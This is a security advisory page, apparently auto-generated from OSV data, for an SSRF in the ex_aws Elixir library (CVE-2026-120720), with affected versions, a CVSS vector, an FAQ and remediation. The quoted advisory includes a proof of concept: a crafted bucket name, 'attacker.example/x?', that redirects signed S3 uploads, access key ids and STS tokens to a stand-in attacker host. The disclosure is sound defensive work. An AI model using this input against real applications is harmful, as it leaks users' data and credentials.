SEVERITY NOT PROVIDED · CVSS 4.0 EPSS 0.2% · 8th percentile CWE-918

CVE-2026-120720: S3 bucket name controls the request host in ex_aws virtual-host requests

Published 2026-11-24 · Updated 2026-11-25 · Also known as EEF-CVE-2026-120720, GHSA-rcv9-2jx2-63xh

Summary

The ex_aws library contains an SSRF vulnerability where user-supplied S3 bucket names can redirect signed requests to arbitrary hosts. Developers using ex_aws with virtual-host addressing enabled must update to version 2.8.0 or later to remediate.

Who is affected

This flaw affects applications using the ex_aws Hex package with 'virtual_host: true' enabled that allow untrusted input for bucket names. Attackers can intercept signed S3 requests, including object data, access key IDs, and STS session tokens, or provide arbitrary responses to the application. Default path-style request configurations are not vulnerable.

Exploitability

The vulnerability requires local access or specific configuration conditions, though the attack requires low privileges and no user interaction. With an EPSS score of 0.002, the exploit likelihood is relatively low, and there is no evidence of active exploitation in CISA's KEV catalog.

Remediation

How to check your project

Automated analysis of the published advisory data, generated 2026-11-26. Not human-reviewed; verify against the official advisory. How this works.

Affected packages

EcosystemPackageAffected versionsFixed inUpgrade
Hex ex_aws >= 2.1.7, < 2.8.0 2.8.0 mix deps.update ex_aws

CVSS 4.0 vector

CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

Attack vectorLocal
Attack complexityLow
Attack requirementsPresent
Privileges requiredNone
User interactionNone
Confidentiality (vulnerable system)High
Integrity (vulnerable system)Low
Availability (vulnerable system)None
Confidentiality (subsequent systems)None
Integrity (subsequent systems)None
Availability (subsequent systems)None

Base score is not computed for CVSS 4.0 vectors; severity is taken from the advisory.

FAQ

Is this vulnerability exploitable by default?

No. The vulnerability only manifests when 'virtual_host: true' is explicitly enabled in the S3 configuration and the application processes user-supplied bucket names.

Are my S3 credentials exposed by this vulnerability?

The secret access key is not exposed; however, the access key ID, STS session token, and request signature are sent to the attacker-controlled host.

What happens if I use path-style requests?

Path-style requests, which are the default behavior for ex_aws, are not affected because the bucket name is placed within the URL path rather than the request host.

Original advisory description
## Summary Server-Side Request Forgery (SSRF) vulnerability in ex-aws ex_aws allows an attacker who controls an S3 bucket name to send the application's signed S3 requests to a host of their choice. With `virtual_host: true`, `ExAws.Operation.S3.add_bucket_to_path/2` in `lib/ex_aws/operation/s3.ex` builds the request hostname from the bucket name and the configured host without checking the bucket name. A bucket such as `attacker.example/x?` turns the request URL into `https://attacker.example/x?.s3.amazonaws.com/key`, so the request is signed for and sent to `attacker.example`. The attacker receives upload bodies, the access key id and request signature, and any STS session token, and controls the response the application parses. With `bucket_as_host: true` the bucket is the whole hostname, so any valid hostname redirects the request. This issue affects ex_aws: from 2.1.7 before 2.8.0. ## Details **1. Host construction.** In the `virtual_host: true` clause of `ExAws.Operation.S3.add_bucket_to_path/2`, the request host becomes `"#{bucket}.#{host}"`. In the `virtual_host: true, bucket_as_host: true` clause it becomes the bucket name itself. Neither clause checks the bucket name. **2. URL rendering and re-parsing.** `ExAws.Request.Url.build/2` places the host verbatim into a `%URI{}` and renders it with `URI.to_string/1`, which does not validate the host. Downstream code re-parses the string: `ExAws.Auth.headers/6` signs `URI.parse(url).authority`, `ExAws.Request.Url.sanitize/2` splits on the first `?`, and hackney's `parse_url/1` (or `URI.parse/1` for the Req adapter) resolves the host. For the bucket `attacker.example/x?` all of them see the host `attacker.example`, the path `/x` and the query `.s3.amazonaws.com/key`. **3. Signed request to the attacker.** The HTTP adapter connects to `attacker.example` and sends the fully signed request: the object body on uploads, the `Authorization` header with the access key id and SigV4 signature, and `x-amz-security-token` when temporary credentials are in use. The attacker also chooses the response the application parses. The secret access key is not sent, and the signature is bound to the attacker's host, so it cannot be replayed against AWS. ## Proof of concept 1. Configure ex_aws for S3 with `virtual_host: true`. 2. Build an upload with an attacker-chosen bucket name: `ExAws.S3.put_object("attacker.example/x?", "report.pdf", body)`. 3. `add_bucket_to_path/2` sets the host to `attacker.example/x?.s3.amazonaws.com`, and `ExAws.Request.Url.build/2` renders `https://attacker.example/x?.s3.amazonaws.com/report.pdf`. 4. `ExAws.Auth` signs the `host` header as `attacker.example`, and hackney connects to `attacker.example:443` with path `/x` and query `.s3.amazonaws.com/report.pdf`. 5. Running the operation with `ExAws.request/2` delivers the signed request, including the upload body and `Authorization` header, to `attacker.example`. ## Impact An attacker who can choose the bucket name receives the application's signed S3 requests, including uploaded object bodies, the access key id and any STS session token, and can return forged data to the application. Applications that accept per-tenant or user-supplied bucket names with virtual-host addressing are affected. ## Configurations Reachable only when the S3 client is configured with `virtual_host: true` and the application passes a bucket name an attacker can influence, for example per-tenant or user-supplied buckets. Path-style requests, the default, place the bucket in the path and are not affected. ## Solutions Upgrading rejects bucket names containing characters that can change the request host. With `bucket_as_host: true`, a syntactically valid hostname is still used as the request host after upgrading: applications that pass bucket names they do not fully control with `bucket_as_host: true` must also set the `bucket_as_host_allowlist` S3 config option to the list of trusted hostnames.

References

Source records: EEF-CVE-2026-120720 (OSV.dev) · EPSS by FIRST, 2026-11-26.